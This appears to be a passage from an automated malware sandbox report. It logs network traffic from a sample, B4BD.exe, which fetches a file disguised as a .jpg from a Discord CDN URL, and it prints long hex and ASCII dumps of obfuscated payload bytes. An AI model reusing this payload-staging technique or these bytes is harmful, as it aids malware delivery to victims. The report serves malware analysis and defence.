pE O qqD O pE O qqm O ME O qOp O qOp O qqX O pE O Dq O pE O qOO O qqX O qOq O qqJ O MX O pE O pJ O pE O qOD O qOq O ME O qOM O qOm O pE O qOO O pE O qqE O qOX O qqm O qqX O qOm O qqM O qOO O qOX O qqq O qqW O qq
2021-10-29 18:29:05 UTC	1185	IN	Data Raw: 70 45 20 4f 20 71 4f 57 20 4f 20 71 4f 70 20 4f 20 4d 45 20 4f 20 71 4f 58 20 4f 20 71 4f 45 20 4f 20 71 4f 57 20 4f 20 4d 45 20 4f 20 71 4a 4f 20 4f 20 71 71 44 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 71 4f 58 20 4f 20 71 71 57 20 4f 20 71 71 45 20 4f 20 71 71 58 20 4f 20 4d 4d 20 4f 20 71 71 45 20 4f 20 4d 58 20 4f 20 71 4a 4f 20 4f 20 71 4f 4d 20 4f 20 4d 45 20 4f 20 71 4f 4d 20 4f 20 71 71 4d 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 71 71 6d 20 4f 20 71 71 4d 20 4f 20 71 71 70 20 4f 20 71 71 4f 20 4f 20 71 71 4a 20 4f 20 4d 45 20 4f 20 71 71 6d 20 4f 20 71 4a 71 20 4f 20 4d 58 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 4d 4d 20 4f 20 71 71 Data Ascii: pE O qOW O qOp O ME O qOX O qOE O qOW O ME O qJO O qqD O qqJ O pE O ME O pE O qqq O qOX O qqW O qqE O qqX O MM O qqE O MX O qJO O qOM O ME O qOM O qqM O pE O ME O pE O qqq O qqm O qqM O qqp O qqO O qqJ O ME O qqm O qJq O MX O pE O qqW O pE O qOW O MM O qq
2021-10-29 18:29:05 UTC	1189	IN	Data Raw: 4f 57 20 4f 20 71 71 58 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 4d 45 20 4f 20 71 71 4f 20 4f 20 71 4f 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 4a 20 4f 20 71 4f 57 20 4f 20 4d 4d 20 4f 20 4d 4d 20 4f 20 71 4a 4f 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4f 6d 20 4f 20 71 71 44 20 4f 20 71 71 4a 20 4f 20 71 71 71 20 4f 20 71 71 70 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 71 4d 20 4f 20 71 71 45 20 4f 20 4d 4d 20 4f 20 71 4f 44 20 4f 20 4d 45 20 4f 20 71 4a 4a 20 4f 20 71 71 45 20 4f 20 71 4a 4f 20 4f 20 71 4a 71 20 4f 20 71 71 44 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 71 4f 44 20 4f 20 Data Ascii: OW O qqX O qqO O pE O qqm O pE O qJq O ME O qqO O qOm O qqM O qOJ O qOW O MM O MM O qJO O qOq O pE O qOW O pE O qOm O qqD O qqJ O qqq O qqp O pE O qqD O pE O qOO O qqM O qqE O MM O qOD O ME O qJJ O qqE O qJO O qJq O qqD O qJO O pE O qJq O pE O ME O qOD O
2021-10-29 18:29:05 UTC	1193	IN	Data Raw: 20 71 71 4d 20 4f 20 71 4f 71 20 4f 20 71 4a 71 20 4f 20 71 4f 6d 20 4f 20 71 71 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 58 20 4f 20 71 4f 4d 20 4f 20 71 4f 45 20 4f 20 71 71 58 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 71 4f 4d 20 4f 20 71 4a 4f 20 4f 20 71 71 4a 20 4f 20 71 71 45 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 71 6d 20 4f 20 71 4f 58 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 70 4a 20 4f 20 70 45 20 4f 20 71 4f 6d 20 4f 20 71 4f 44 20 4f 20 71 4f 44 20 4f 20 71 71 4a 20 4f 20 71 4f 4a 20 4f 20 71 4a 4f 20 4f 20 71 4a 71 20 4f 20 71 71 4f 20 4f 20 71 71 45 20 4f 20 71 4f 58 20 4f 20 71 71 44 20 4f 20 71 4a 4a 20 4f 20 71 4f 71 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 Data Ascii: qqM O qOq O qJq O qOm O qqJ O qOJ O qOX O qOM O qOE O qqX O qqq O pE O qqW O pE O MM O qOM O qJO O qqJ O qqE O pE O MM O pE O qOD O qqm O qOX O qqD O pE O pJ O pE O qOm O qOD O qOD O qqJ O qOJ O qJO O qJq O qqO O qqE O qOX O qqD O qJJ O qOq O qOm O pE O
2021-10-29 18:29:05 UTC	1197	IN	Data Raw: 20 4f 20 4d 45 20 4f 20 71 4f 71 20 4f 20 71 4f 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 44 20 4f 20 71 4f 4f 20 4f 20 71 71 4f 20 4f 20 71 71 71 20 4f 20 71 4f 4d 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 4d 4d 20 4f 20 71 4f 71 20 4f 20 71 71 71 20 4f 20 71 4f 4f 20 4f 20 71 4f 70 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 4d 20 4f 20 71 4f 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 4a 20 4f 20 71 71 71 20 4f 20 71 71 57 20 4f 20 71 71 44 20 4f 20 71 4f 44 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 71 71 4f 20 4f 20 4d 45 20 4f 20 71 71 4a 20 4f 20 71 4f 57 20 4f 20 71 4a 71 20 4f 20 71 4f 70 20 4f 20 71 71 4a 20 4f 20 71 71 44 Data Ascii: O ME O qOq O qOm O qOq O qOD O qOO O qqO O qqq O qOM O pE O qqq O pE O qJq O MM O qOq O qqq O qOO O qOp O qqm O pE O qqO O pE O qOO O qOM O qOE O qJO O qOJ O qqq O qqW O qqD O qOD O qJO O pE O qOJ O pE O qqW O qqO O ME O qqJ O qOW O qJq O qOp O qqJ O qqD
2021-10-29 18:29:05 UTC	1201	IN	Data Raw: 71 4f 57 20 4f 20 71 4f 71 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 71 45 20 4f 20 71 4f 6d 20 4f 20 71 71 4d 20 4f 20 71 71 44 20 4f 20 71 4f 71 20 4f 20 71 71 4d 20 4f 20 71 4f 45 20 4f 20 71 71 4a 20 4f 20 71 71 4f 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 71 71 4a 20 4f 20 71 71 44 20 4f 20 71 4f 4d 20 4f 20 71 4a 71 20 4f 20 71 4f 4f 20 4f 20 71 71 4d 20 4f 20 71 4a 4f 20 4f 20 71 4f 4d 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 71 4f 4d 20 4f 20 71 71 45 20 4f 20 71 4f 4a 20 4f 20 71 71 4f 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 71 4d 20 4f 20 4d 4d 20 4f 20 71 71 44 20 4f 20 71 Data Ascii: qOW O qOq O qJJ O pE O qqm O pE O qqE O qOm O qqM O qqD O qOq O qqM O qOE O qqJ O qqO O qqO O pE O qqX O pE O qqO O qqJ O qqD O qOM O qJq O qOO O qqM O qJO O qOM O pE O qOW O pE O qOX O qOM O qqE O qOJ O qqO O qqW O pE O MM O pE O qqM O qqM O MM O qqD O q
2021-10-29 18:29:05 UTC	1206	IN	Data Raw: 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 71 4f 57 20 4f 20 71 4f 58 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 4d 4d 20 4f 20 71 71 4a 20 4f 20 71 4f 4f 20 4f 20 71 71 44 20 4f 20 71 71 70 20 4f 20 71 71 4f 20 4f 20 71 4f 4f 20 4f 20 71 4a 4f 20 4f 20 4d 58 20 4f 20 70 45 20 4f 20 71 4f 4d 20 4f 20 70 45 20 4f 20 71 4f 6d 20 4f 20 71 4f 71 20 4f 20 71 71 44 20 4f 20 71 71 45 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 45 4a 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 71 4f 6d 20 4f 20 71 71 6d 20 4f 20 4d 58 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 4f 4d 20 4f 20 71 71 58 20 4f 20 71 71 45 20 4f 20 4d 58 20 4f Data Ascii: O qqD O pE O MM O qOW O qOX O qJJ O pE O qOq O pE O MX O qqM O MX O MM O qqJ O qOO O qqD O qqp O qqO O qOO O qJO O MX O pE O qOM O pE O qOm O qOq O qqD O qqE O qJO O pE O EJ O pE O qqO O qOm O qqm O MX O qOW O pE O qqq O pE O qJq O qOM O qqX O qqE O MX O
2021-10-29 18:29:05 UTC	1210	IN	Data Raw: 58 20 4f 20 71 71 4f 20 4f 20 71 71 58 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 71 4f 44 20 4f 20 71 71 58 20 4f 20 71 4a 71 20 4f 20 71 71 58 20 4f 20 71 4f 57 20 4f 20 71 4f 57 20 4f 20 71 4f 6d 20 4f 20 71 4f 58 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 71 71 6d 20 4f 20 71 71 45 20 4f 20 71 71 4a 20 4f 20 71 71 6d 20 4f 20 71 4f 71 20 4f 20 71 71 4d 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 4f 4d 20 4f 20 71 71 4f 20 4f 20 71 71 6d 20 4f 20 4d 58 20 4f 20 71 4f 57 20 4f 20 71 4f 70 20 4f 20 71 4a 4f 20 4f 20 71 4f 4d 20 4f 20 71 4a 71 20 4f 20 71 4a 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 45 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 4d 58 20 4f 20 4d 4d Data Ascii: X O qqO O qqX O MM O qqO O qOD O qqX O qJq O qqX O qOW O qOW O qOm O qOX O pE O qOq O pE O qqO O qqm O qqE O qqJ O qqm O qOq O qqM O qqD O pE O qqm O pE O qOM O qqO O qqm O MX O qOW O qOp O qJO O qOM O qJq O qJJ O qOJ O qOE O qJJ O pE O qqX O pE O MX O MM
2021-10-29 18:29:05 UTC	1213	IN	Data Raw: 4f 20 71 4a 4a 20 4f 20 4d 45 20 4f 20 71 4f 57 20 4f 20 4d 58 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 71 71 6d 20 4f 20 71 71 57 20 4f 20 71 71 45 20 4f 20 71 71 71 20 4f 20 71 4f 44 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 71 4a 20 4f 20 71 4f 70 20 4f 20 71 4f 71 20 4f 20 71 71 45 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 71 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 4d 4a 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 6d 20 4f 20 71 4f 4f 20 4f 20 71 4f 4a 20 4f 20 4d 58 20 4f 20 71 4f 58 20 4f 20 71 4a 4a 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 71 Data Ascii: O qJJ O ME O qOW O MX O pE O qOX O pE O qOX O qJO O MM O qqm O qqW O qqE O qqq O qOD O qqq O pE O qOq O pE O qqJ O qOp O qOq O qqE O pE O qqW O pE O qOD O qqE O qOO O qOD O qOW O pE O MJ O pE O qOO O qOD O qOm O qOO O qOJ O MX O qOX O qJJ O qOO O qOD O qq
2021-10-29 18:29:05 UTC	1229	IN	Data Raw: 4a 20 4f 20 71 4a 70 20 4f 20 57 4a 20 4f 20 44 58 20 4f 20 57 71 20 4f 20 57 6d 20 4f 20 44 4d 20 4f 20 57 45 20 4f 20 57 6d 20 4f 20 57 44 20 4f 20 6d 57 20 4f 20 44 4d 20 4f 20 57 71 20 4f 20 57 4f 20 4f 20 57 70 20 4f 20 6d 57 20 4f 20 6d 4d 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 44 4d 20 4f 20 6d 57 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 45 20 4f 20 6d 4d 20 4f 20 6d 57 20 4f 20 6d 58 20 4f 20 57 44 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 57 4f 20 4f 20 44 44 20 4f 20 44 4d 20 4f 20 6d 4d 20 4f 20 6d 58 20 4f 20 57 71 20 4f 20 6d 4d 20 4f 20 57 44 20 4f 20 71 4a 57 20 4f 20 4d 4a 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 71 20 4a 71 20 44 58 20 4f 20 71 71 6d 20 4f 20 71 4f 57 20 4f 20 71 71 58 20 4f 20 71 4f 71 20 4f 20 Data Ascii: J O qJp O WJ O DX O Wq O Wm O DM O WE O Wm O WD O mW O DM O Wq O WO O Wp O mW O mM O mM O DE O DM O mW O DD O EO O DE O mM O mW O mX O WD O mX O mX O WO O DD O DM O mM O mX O Wq O mM O WD O qJW O MJ O mX O mX O mX O mX O q Jq DX O qqm O qOW O qqX O qOq O
2021-10-29 18:29:05 UTC	1245	IN	Data Raw: 20 4a 20 4a 20 58 20 4a 20 4a 20 4a 20 71 70 20 4f 20 6d 20 71 45 20 71 4a 4d 20 4a 57 20 71 6d 20 71 6d 20 71 45 20 71 4a 4d 20 4a 4d 20 71 45 20 71 4a 4d 20 70 70 20 44 20 4f 20 71 20 71 6d 20 71 45 20 71 4a 4d 20 70 45 20 44 20 4f 20 71 20 71 58 20 71 4a 58 20 71 70 45 20 71 6d 20 45 20 45 20 57 20 58 20 58 20 58 20 71 4f 20 4a 20 70 20 4f 20 4f 20 58 20 4a 45 20 45 20 71 70 20 58 20 58 20 58 20 71 58 20 71 4a 4d 20 6d 57 20 71 58 20 71 4a 4d 20 6d 4d 20 71 58 20 71 4a 4d 20 57 70 20 71 58 20 71 4a 4d 20 57 45 20 4a 20 4a 20 71 58 20 71 4a 4d 20 57 70 20 71 58 20 71 4a 4d 20 57 45 20 4a 20 4a 20 57 20 70 4a 20 4f 20 71 58 20 71 4a 4d 20 6d 4d 20 57 20 70 4a 20 4f 20 71 58 20 71 4a 4d 20 57 70 20 57 20 70 4a 20 4f 20 71 58 20 71 4a 4d 20 57 45 20 6d 20 Data Ascii: J J X J J J qp O m qE qJM JW qm qm qE qJM JM qE qJM pp D O q qm qE qJM pE D O q qX qJX qpE qm E E W X X X qO J p O O X JE E qp X X X qX qJM mW qX qJM mM qX qJM Wp qX qJM WE J J qX qJM Wp qX qJM WE J J W pJ O qX qJM mM W pJ O qX qJM Wp W pJ O qX qJM WE m

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49806	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\B4BD.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:29:09 UTC	1254	OUT	GET /attachments/893177342426509335/903702020781907998/4D0A6361.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-10-29 18:29:09 UTC	1254	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:29:09 GMT Content-Type: image/jpeg Content-Length: 406075 Connection: close CF-Ray: 6a5e77bc5e116955-FRA Accept-Ranges: bytes Age: 1940 Cache-Control: public, max-age=31536000 ETag: "4be3e6f4d4f4aa1116f6c74f532cbeb7" Expires: Sat, 29 Oct 2022 18:29:09 GMT Last-Modified: Fri, 29 Oct 2021 17:49:11 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635529751768404 x-goog-hash: crc32c=bHQJMA== x-goog-hash: md5=S+Pm9NT0qhEW9sdPUyy+tw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 406075 X-GUploader-UploadID: ADPycdtQMHGyEhnppJ8P837WdZk3TFi4GDGE6cytjZ9NP8ck3B0QplKsdro4zTxd-YyGcioOy6QRjSQ8JvbrhdjjkmE X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EDoH08zuJvS3uhg9b%2B%2BFemvReV%2FhA%2Fy86IDn0P6gWQYVQNLU9XsBDVjrEOZtf0rPRvrep%2FYqjpwjGn%2BRMahpER2is4YN7sqwybPohYqxUrHU%2BCy7E%2FzEd8yIUceXwWJm0kbtgg%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:29:09 UTC	1255	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:29:09 UTC	1255	IN	Data Raw: 43 4e 56 4c 72 59 63 4d 49 57 2d 4d 4d 20 57 43 20 4e 72 72 20 43 20 4c 20 43 20 43 20 43 20 72 20 43 20 43 20 43 20 56 59 59 20 56 59 59 20 43 20 43 20 4e 49 72 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 63 72 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 4e 56 49 20 43 20 43 20 43 20 4e 72 20 4c 4e 20 4e 49 63 20 4e 72 20 43 20 4e 49 43 20 57 20 56 43 59 20 4c 4c 20 4e 49 72 20 4e 20 4d 63 20 56 43 59 20 4c 4c 20 49 72 20 4e 43 72 20 4e 43 59 20 4e 4e 59 20 4c 56 20 4e 4e 56 20 4e 4e 72 20 4e 4e 4e 20 4e 43 4c 20 4e 4e 72 20 57 4d 20 4e 43 57 20 4c 56 20 57 57 20 57 4d 20 4e 4e 43 20 4e Data Ascii: CNVLrYcMIW-MM WC Nrr C L C C C r C C C VYY VYY C C NIr C C C C C C C cr C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C NVI C C C Nr LN NIc Nr C NIC W VCY LL NIr N Mc VCY LL Ir NCr NCY NNY LV NNV NNr NNN NCL NNr WM NCW LV WW WM NNC N
2021-10-29 18:29:09 UTC	1256	IN	Data Raw: 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 56 59 20 72 43 20 56 56 57 20 4e 43 57 20 4e 4e 59 20 59 43 20 72 49 20 59 43 20 59 43 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 72 63 20 4e 72 4c 20 59 43 20 72 49 20 4e 4c 49 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 4e 56 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 Data Ascii: C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C VY rC VVW NCW NNY YC rI YC YC Ir NNr NNM Nrc NrL YC rI NLI Yr Ir NNr NNM NCW NNV YC NNV YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC
2021-10-29 18:29:09 UTC	1258	IN	Data Raw: 20 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 59 63 20 4e 49 4c 20 59 59 20 49 72 20 4e 4e 72 20 49 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 72 20 59 4e 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 49 20 59 72 20 49 72 20 4e 49 20 57 4e 20 4c 4e 20 4c 20 63 72 20 49 4c 20 59 43 20 59 72 20 49 72 20 4e 4d 49 20 4e 4e 49 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 72 43 20 59 4e 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 57 43 20 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 59 4c 20 4e 43 57 20 4e 4e Data Ascii: N NCW NNV YC NYc NIL YY Ir NNr IY NCW NNV YC NIr YN Yr Ir NNI NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI NI Yr Ir NI WN LN L cr IL YC Yr Ir NMI NNI NCW NNV YC VrC YN Yr Ir NNI NNM NCW NNV NWC rW YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr YL NCW NN
2021-10-29 18:29:09 UTC	1259	IN	Data Raw: 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 Data Ascii: NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC
2021-10-29 18:29:09 UTC	1260	IN	Data Raw: 20 4e 4e 56 20 59 63 20 4c 57 20 4c 4d 20 72 4d 20 56 4e 4d 20 72 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 56 4c 20 4c 49 20 63 72 20 59 59 20 49 72 20 4e 4e 72 20 59 20 4c 4e 20 72 4e 20 59 43 20 72 49 20 63 63 20 4d 56 20 4d 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 49 49 20 72 59 20 72 49 20 59 43 20 63 43 20 56 72 63 20 49 4d 20 57 49 20 4c 4e 20 4e 20 59 43 20 72 49 20 63 63 20 63 49 20 56 59 4e 20 4e 4e 72 20 4e 4e 4d 20 56 57 20 4e 72 20 72 72 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 4e 43 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4e 72 72 20 56 4e 20 72 56 20 63 49 20 4e 72 4d 20 4e 4e 72 20 4e 4e 4d 20 56 57 20 56 20 59 4c 20 72 57 20 59 43 20 4d 43 20 72 56 20 4e 43 49 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 72 4d 20 59 43 20 59 72 20 Data Ascii: NNV Yc LW LM rM VNM rV NNM NCW NNL VL LI cr YY Ir NNr Y LN rN YC rI cc MV Mr NNr NNM NCL II rY rI YC cC Vrc IM WI LN N YC rI cc cI VYN NNr NNM VW Nr rr rI YC cC NVr NCW NNM NCW NVV Nrr VN rV cI NrM NNr NNM VW V YL rW YC MC rV NCI NNM NCW NVV Vc rM YC Yr
2021-10-29 18:29:09 UTC	1262	IN	Data Raw: 56 43 4c 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 63 57 20 4e 4e 72 20 59 43 20 72 49 20 56 59 20 49 57 20 4e 4e 56 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 4d 20 59 59 20 4c 4c 20 59 72 20 56 43 43 20 49 56 20 4e 63 72 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 63 59 20 4c 43 20 59 43 20 59 72 20 57 72 20 4e 56 20 4e 4c 57 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 4e 20 4c 4e 20 4c 4c 20 4e 4e 72 20 4e 56 20 4e 72 56 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 43 63 20 59 56 20 56 4c 59 20 49 59 20 4e 4e 72 20 4e 4e 59 20 4c 43 20 57 59 20 59 43 20 72 49 20 59 63 20 4e 57 20 56 4e 56 20 4e 72 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 63 20 59 4e 20 59 43 20 59 72 20 4e 56 4d 20 56 57 20 57 59 20 4e 43 49 20 4e 4e 56 20 59 56 20 4c 4c 20 59 59 20 4c 57 20 49 43 20 4e Data Ascii: VCL Ir NNr NNL cW NNr YC rI VY IW NNV NNY NNM NCM WM YY LL Yr VCC IV Ncr NNc NCW NNI cY LC YC Yr Wr NV NLW NCW NNV Yr VN LN LL NNr NV NrV NCW NNV Yr VCc YV VLY IY NNr NNY LC WY YC rI Yc NW VNV NrC NNM NCW NNc Vc YN YC Yr NVM VW WY NCI NNV YV LL YY LW IC N
2021-10-29 18:29:09 UTC	1263	IN	Data Raw: 57 20 4e 56 56 20 63 59 20 49 20 59 43 20 59 72 20 57 72 20 57 43 20 4d 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 57 20 59 4c 20 4c 43 20 4e 4e 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 4c 20 59 4c 20 59 72 20 63 4c 20 56 4c 59 20 4e 56 4d 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 56 63 20 59 63 20 59 43 20 59 72 20 49 56 20 4e 56 63 20 4e 4e 72 20 4c 43 20 56 4e 57 20 59 43 20 72 49 20 59 56 20 4c 4d 20 49 43 20 57 57 20 4e 4e 4c 20 4e 4e 4c 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 56 56 56 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 4c 59 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4d 59 20 4e 43 56 20 4c 4c 20 59 4c 20 Data Ascii: W NVV cY I YC Yr Wr WC Mc NCW NNV Yc YW YL LC NNC NNr NNM NCL WL YL Yr cL VLY NVM NNY NNM NCW NNr Vc Yc YC Yr IV NVc NNr LC VNW YC rI YV LM IC WW NNL NNL VYL NCr rI YC YY NNL NcV VVV NCW 